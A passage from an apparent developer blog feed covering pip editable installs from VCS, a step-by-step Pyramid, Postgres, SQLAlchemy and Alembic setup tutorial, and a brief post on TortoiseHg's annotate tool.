&lt;p&gt;This solves the immediate problem of debugger not printing line numbers, instead of poking inside of files under virtualenv it's possible to open the files from cloned location. The drawback of this approach is that it still involves a few steps -- I need to figure out where the source package is located, clone it, then run the command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(myproj)$ pip install -e .
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I've been using command above as an alias for &lt;strong&gt;python setup.py develop&lt;/strong&gt; for a while and assumed it's magical properties for that purpose, however these days pip automates a lot more. According to the man page of version 9.0.1, any path/url can be passed to the command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;-e,--editable &amp;lt;path/url&amp;gt;
Install a project in editable mode (i.e. setuptools &amp;quot;develop mode&amp;quot;) from a local project path or a VCS url.
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As well as installing any packages in development mode from local repositories, it's possible to install any remote packages from VCS, since pretty much any project on pypi has link to VCS this becomes a two step process:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Lookup package name on pypi.python.org, and copy link to VCS&lt;/li&gt;
&lt;li&gt;run &lt;strong&gt;pip install -e &amp;lt;copied_link&amp;gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="section" id="resources"&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;p&gt;Debian man page for PIP --  &lt;a class="reference external" href="https://manpages.debian.org/cgi-bin/man.cgi?query=pip&amp;amp;apropos=0&amp;amp;sektion=0&amp;amp;manpath=Debian+8+jessie&amp;amp;format=html&amp;amp;locale=en"&gt;https://manpages.debian.org/cgi-bin/man.cgi?query=pip&amp;amp;apropos=0&amp;amp;sektion=0&amp;amp;manpath=Debian+8+jessie&amp;amp;format=html&amp;amp;locale=en&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pip Reference Guide | Pip Install | VCS Support section -- &lt;a class="reference external" href="https://pip.pypa.io/en/stable/reference/pip_install/#vcs-support"&gt;https://pip.pypa.io/en/stable/reference/pip_install/#vcs-support&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Automating entry function definition lookup with Sublime Text &amp;amp; Anaconda -- &lt;a class="reference external" href="https://avolkov.github.io/linting-and-declaration-lookup-for-python-with-sublime-text-3.html"&gt;https://avolkov.github.io/linting-and-declaration-lookup-for-python-with-sublime-text-3.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="python"></category><category term="pip"></category><category term="development"></category></entry><entry><title>Pyramid web app setup with with Postgres, SQLAlchemy and Alembic.</title><link href="https://flamy.ca/blog/2017-01-01-pyramid-web-app-setup-with-with-postgres-sqlalchemy-and-alembic.html" rel="alternate"></link><published>2017-01-01T00:00:00-05:00</published><updated>2017-01-01T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2017-01-01:/blog/2017-01-01-pyramid-web-app-setup-with-with-postgres-sqlalchemy-and-alembic.html</id><summary type="html">&lt;p class="first last"&gt;Pyramid web app setup with with Postgres, SQLAlchemy and Alembic.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;This is how I set up a sample web application in development mode using Pyramid 1.7.3, Python 3.x and Postgres 9.x using SQLAlchemy to manage database abstraction and Alembic to manage migrations.&lt;/p&gt;
&lt;div class="section" id="set-up-pyramid-environment"&gt;
&lt;h2&gt;1. Set up pyramid environment&lt;/h2&gt;
&lt;p&gt;Create Python 3 virtual environment then install cookiecutter -- a command line utility for creating and managing project templates.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mkvirtualenv --python `which python3` pyramid-test
$ pip install cookiecutter
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="create-pyramid-project-w-sqlalchemy-using-cookiecutter"&gt;
&lt;h2&gt;2. Create pyramid project w SQLAlchemy using cookiecutter&lt;/h2&gt;
&lt;p&gt;I'm using the official cookiecutter template from Pylons for Pyramid project with SQLAlchemy ORM and SQLite. Later in the setup, the project settings will be modified for SQLAlchemy to work with Postgres.&lt;/p&gt;
&lt;p&gt;When presented &lt;strong&gt;'project_name[Pyramid Scaffold]'&lt;/strong&gt; question in cookicutter setup dialog, specify &lt;strong&gt;pyramid_test&lt;/strong&gt; as the name of the project, or the default project name -- 'Pyramid Scaffold' will be used.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ cookiecutter https://github.com/Pylons/pyramid-cookiecutter-alchemy
project_name [Pyramid Scaffold]: pyramid_test
repo_name [scaffold]:

===============================================================================
Documentation: http://docs.pylonsproject.org/projects/pyramid/en/latest/
Tutorials:     http://docs.pylonsproject.org/projects/pyramid_tutorials/en/latest/
Twitter:       https://twitter.com/trypyramid
Mailing List:  https://groups.google.com/forum/#!forum/pylons-discuss
Welcome to Pyramid.  Sorry for the convenience.
==========================================================================
Change directory into your newly created project.
cd scaffold
Create a Python virtual environment.
python3 -m venv env

Upgrade packaging tools.
env/bin/pip install --upgrade pip setuptools
Install the project in editable mode with its testing requirements.
env/bin/pip install -e &amp;quot;.[testing]&amp;quot;
Configure the database:
env/bin/initialize_scaffold_db development.ini
Run your project&amp;#39;s tests.
env/bin/pytest
Run your project.
env/bin/pserve development.ini
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="install-all-project-dependencies"&gt;
&lt;h2&gt;4. Install all project dependencies&lt;/h2&gt;
&lt;p&gt;Install psycopg2 and alembic python packages, by editing &lt;strong&gt;setup.py&lt;/strong&gt; and adding package dependency to &lt;strong&gt;requires&lt;/strong&gt; list.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;requires&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;psycopg2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;alembic&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;psycopg2 -- Postgres database driver that lets SQLAlchemy connect to postgres database&lt;/li&gt;
&lt;li&gt;alembic --  a database migration tool for SQLAlchemy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following command install all dependencies specified in 'requirements' section in &lt;strong&gt;setup.py&lt;/strong&gt; all requirements for setting up pyramid framework and related dependencies are specified there.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ pip install -e .
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To verify that the packages were install run the following command that lists installed python packages and make sure psycopg2 and alembic are mentioned&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ pip freeze
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="setup-postgres-db"&gt;
&lt;h2&gt;3. Setup postgres db&lt;/h2&gt;
&lt;p&gt;This step assumes you already installed Postgres 9.x and able to log in as 'postgres' admin user. This setup has been used on Debian systems, but with minor differences in configuration file locations should apply to any Linux distribution.&lt;/p&gt;
&lt;p&gt;Get access to postgres admin shell.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# su postgres
$ psql
postgres=#
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Create a user and a database for this project. Here I'm using username 'alex', change username according to your local system username -- this will come in handy when setting up peer authentication.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;postgres=# CREATE USER alex WITH PASSWORD &amp;#39;secret&amp;#39;;
postgres=# CREATE DATABASE pyramidtest OWNER alex;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;From root console edit &lt;strong&gt;/etc/postgresql/9.x/main/pg_hba.conf&lt;/strong&gt; add the following lines at the bottom of the file -- these are declarations for postgres server to allow peer and password authentication.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;local   postgrestest    alex                                    peer
host    postgrestest    alex            127.0.0.1               md5
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Restart postgres db.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# service postgresql restart
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="connect-to-postgresdb-from-pyramid-project"&gt;
&lt;h2&gt;4. Connect to postgresdb from pyramid project&lt;/h2&gt;
&lt;p&gt;Edit development.ini, updating sqlalchemy.url to the following&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sqlalchemy.url = postgresql:///pyramidtest
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This config line lets pyramid project connect to postgres via unix socket using 'peer' authentication -- the database engine will verify that the name of system account that attempts to log in, matches the name of owner account of the database.
When 'peer' authentication is used, Postgres doesn't verify the password set with 'CREATE USER..' command.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="configure-alembic-to-manage-migrations"&gt;
&lt;h2&gt;5. Configure alembic to manage migrations&lt;/h2&gt;
&lt;p&gt;I use alembic to make sure that the project is able to connect to the database and execute its initial migration. Alembic retrieves SQLAlchemy model definitions from &lt;strong&gt;/models/&lt;/strong&gt; folder and create appropriate tables in Postgres database.&lt;/p&gt;
&lt;p&gt;Add alembic to one of project requirements in &lt;strong&gt;setup.py&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;requires&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;alembic&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then re-install the dependencies.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ pip install -e .
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Initialize alembic for the project. This creates &lt;strong&gt;/alembic/&lt;/strong&gt; subdirectory and populates it with initial configuration.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ alembic init alembic
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In &lt;strong&gt;alembic.ini&lt;/strong&gt; update &lt;strong&gt;sqlalchemy.url&lt;/strong&gt; variable to the same &lt;strong&gt;sqlalchemy.url&lt;/strong&gt; value set in &lt;strong&gt;development.ini&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sqlalchemy.url = postgresql:///pyramidtest
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="section" id="configure-alembic-to-autogenerate-migrations"&gt;
&lt;h3&gt;Configure alembic to autogenerate migrations&lt;/h3&gt;
&lt;p&gt;In &lt;strong&gt;alembic/env.py&lt;/strong&gt; import base metadata from project model from &lt;strong&gt;/models/meta.py&lt;/strong&gt; file, and assign it to &lt;strong&gt;target_metadata&lt;/strong&gt;, so alembic knows which models it has to keep track of.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pyramid_test.models.meta&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;
&lt;span class="n"&gt;target_metadata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Generate migrations.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ alembic revision --autogenerate -m &amp;quot;Initial Commit&amp;quot;
INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
INFO  [alembic.runtime.migration] Will assume transactional DDL.
INFO  [alembic.autogenerate.compare] Detected added table &amp;#39;models&amp;#39;
INFO  [alembic.autogenerate.compare] Detected added index &amp;#39;my_index&amp;#39; on &amp;#39;[&amp;#39;name&amp;#39;]&amp;#39;
  Generating /home/alex/gitlab/pyramid_test/alembic/versions/2e0b2d81bfbb_initial_commit.py ... done
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The migration script is based on database models in &lt;strong&gt;/models/mymondel.py&lt;/strong&gt;, that already has sample model defined by cookiecutter template, see code below.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;sqlalchemy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;.meta&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MyModel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;__tablename__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;models&amp;#39;&lt;/span&gt;
    &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;primary_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;my_index&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MyModel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mysql_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Migration script containing a sequence of SqlAlchemy (sa) is generated  by alembic and place in a file with the format &lt;strong&gt;[alembic_hash]_initial_commit.py&lt;/strong&gt; under &lt;strong&gt;/alembic/versions/&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Inside the migration file, &lt;strong&gt;upgrade&lt;/strong&gt; function defines database upgrade migration, optional &lt;strong&gt;downgrade&lt;/strong&gt; function defines rollback operations.&lt;/p&gt;
&lt;p&gt;The following is a short excerpt from the migration of pyramid-test project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;upgrade&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# ### commands auto generated by Alembic - please adjust! ###&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;models&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;nullable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;nullable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;nullable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PrimaryKeyConstraint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pk_models&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;my_index&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;models&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mysql_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# ### end Alembic commands ###&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;downgrade&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# ### commands auto generated by Alembic - please adjust! ###&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;drop_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;my_index&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;models&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;drop_table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;models&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# ### end Alembic commands ###&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For more details see -- &lt;a class="reference external" href="http://alembic.zzzcomputing.com/en/latest/autogenerate.html#auto-generating-migrations"&gt;http://alembic.zzzcomputing.com/en/latest/autogenerate.html#auto-generating-migrations&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="apply-alembic-migrations"&gt;
&lt;h2&gt;6 Apply alembic migrations&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ alembic upgrade head
INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
INFO  [alembic.runtime.migration] Will assume transactional DDL.
INFO  [alembic.runtime.migration] Running upgrade  -&amp;gt; 2e0b2d81bfbb, Initial Commit
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will create two tables in postgrestest database.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;alembic_version -- keeps track of database versioning for alembic&lt;/li&gt;
&lt;li&gt;models -- model defined in &lt;strong&gt;/models/mymodel.py&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See screenshot below as the contend of the database is displayed in PGadmin3&lt;/p&gt;
&lt;img alt="The result of alembic migration, in Pgadmin3" src="/images/0004_alembic_migrations.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="perform-test-write-to-the-database"&gt;
&lt;h2&gt;7 Perform test write to the database&lt;/h2&gt;
&lt;p&gt;To verify that the database is set up correctly, create a sample object and commit it to the database using Pyramid Shell. The sample code is based on
&lt;strong&gt;scripts/initialize.db&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ pshell development.ini
&amp;gt;&amp;gt;&amp;gt; from pyramid_test.models.mymodel import MyModel
&amp;gt;&amp;gt;&amp;gt; db = request.dbsession
&amp;gt;&amp;gt;&amp;gt; obj_one = MyModel(name=&amp;#39;one&amp;#39;, value=1)
&amp;gt;&amp;gt;&amp;gt; db.add(obj_one)
&amp;gt;&amp;gt;&amp;gt; request.tm.commit()
&amp;gt;&amp;gt;&amp;gt; db.flush()
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To retrieve newly created object from the database, run the following commands.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ pshell development.ini
&amp;gt;&amp;gt;&amp;gt; from pyramid_test.models.mymodel import MyModel
&amp;gt;&amp;gt;&amp;gt; db = request.dbsession
&amp;gt;&amp;gt;&amp;gt; mymodel = db.query(MyModel).one()
&amp;gt;&amp;gt;&amp;gt; print(mymodel)
&amp;lt;pyramid_test.models.mymodel.MyModel object at 0x7fce6d83ceb8&amp;gt;
&amp;gt;&amp;gt;&amp;gt; print(mymodel.name)
one
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The object now persists in the database.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="run-the-server"&gt;
&lt;h2&gt;8 Run the server&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pyramid-test)$ pserve develoment.ini
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Open a web browser and go to &lt;strong&gt;http://localhost:6543/&lt;/strong&gt; you will be greeted with pyramid demo message.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sample-code"&gt;
&lt;h2&gt;9 Sample Code&lt;/h2&gt;
&lt;p&gt;Sample code for the project located in -- &lt;a class="reference external" href="https://github.com/avolkov/pyramid-test"&gt;https://github.com/avolkov/pyramid-test&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="python"></category><category term="pyramid"></category><category term="postgres"></category><category term="sqlalchemy"></category><category term="alembic"></category></entry><entry><title>Grapical tool for mercurial similar to git blame</title><link href="https://flamy.ca/blog/2016-12-17-grapical-tool-for-mercurial-similar-to-git-blame.html" rel="alternate"></link><published>2016-12-17T00:00:00-05:00</published><updated>2016-12-17T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-12-17:/blog/2016-12-17-grapical-tool-for-mercurial-similar-to-git-blame.html</id><summary type="html">&lt;p class="first last"&gt;thg -- A handy GUI tool for looking up historical date&lt;/p&gt;
</summary><content type="html">&lt;img alt="Repository explorer screenshot" class="align-center" src="https://screenshots.debian.net/screenshots/000/011/445/large.png" style="width: 600px; height: 630px;" /&gt;
&lt;p&gt;Git has unfortunately-named nevertheless handy tool for exploring historical file data -- &lt;strong&gt;git blame&lt;/strong&gt;. There's an alternative GUI implementation for Mercurial &lt;strong&gt;thg annotate&lt;/strong&gt;, a part of Tortoise Hg suite.&lt;/p&gt;
&lt;p&gt;Annotate tool works exactly the same as blame, just specify a file name i.e. &lt;strong&gt;thg annotate setup.py&lt;/strong&gt; and a window will pop up with revision list, diff and annotate options.&lt;/p&gt;
&lt;p&gt;Right-clicking on diff window and selecting &lt;strong&gt;Annotate Options&lt;/strong&gt; brings up possible annotation selection that for some reason aren't selected by default: 'Show Author', 'Show Date' and 'Show Revision'.&lt;/p&gt;
&lt;p&gt;StackOverflow discussion -- &lt;a class="reference external" href="http://stackoverflow.com/questions/2228188/finding-the-author-of-a-line-of-code-in-mercurial"&gt;http://stackoverflow.com/questions/2228188/finding-the-author-of-a-line-of-code-in-mercurial&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Debian Package (stretch) -- &lt;a class="reference external" href="https://packages.debian.org/stretch/tortoisehg"&gt;https://packages.debian.org/stretch/tortoisehg&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Project Page -- &lt;a class="reference external" href="https://www.mercurial-scm.org/wiki/TortoiseHg"&gt;https://www.mercurial-scm.org/wiki/TortoiseHg&lt;/a&gt;&lt;/p&gt;
</content><category term="tools"></category><category term="python"></category><category term="mercurial"></category><category term="hg"></category><category term="tools"></category></entry><entry><title>Testing Python with Mock</title><link href="https://flamy.ca/blog/2016-12-17-testing-python-with-mock.html" rel="alternate"></link><published>2016-12-17T00:00:00-05:00</published><updated>2016-12-17T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-12-17:/blog/2016-12-17-testing-python-with-mock.html</id><summary type="html">&lt;p class="first last"&gt;Testing with mocks and less well know mock methods&lt;/p&gt;
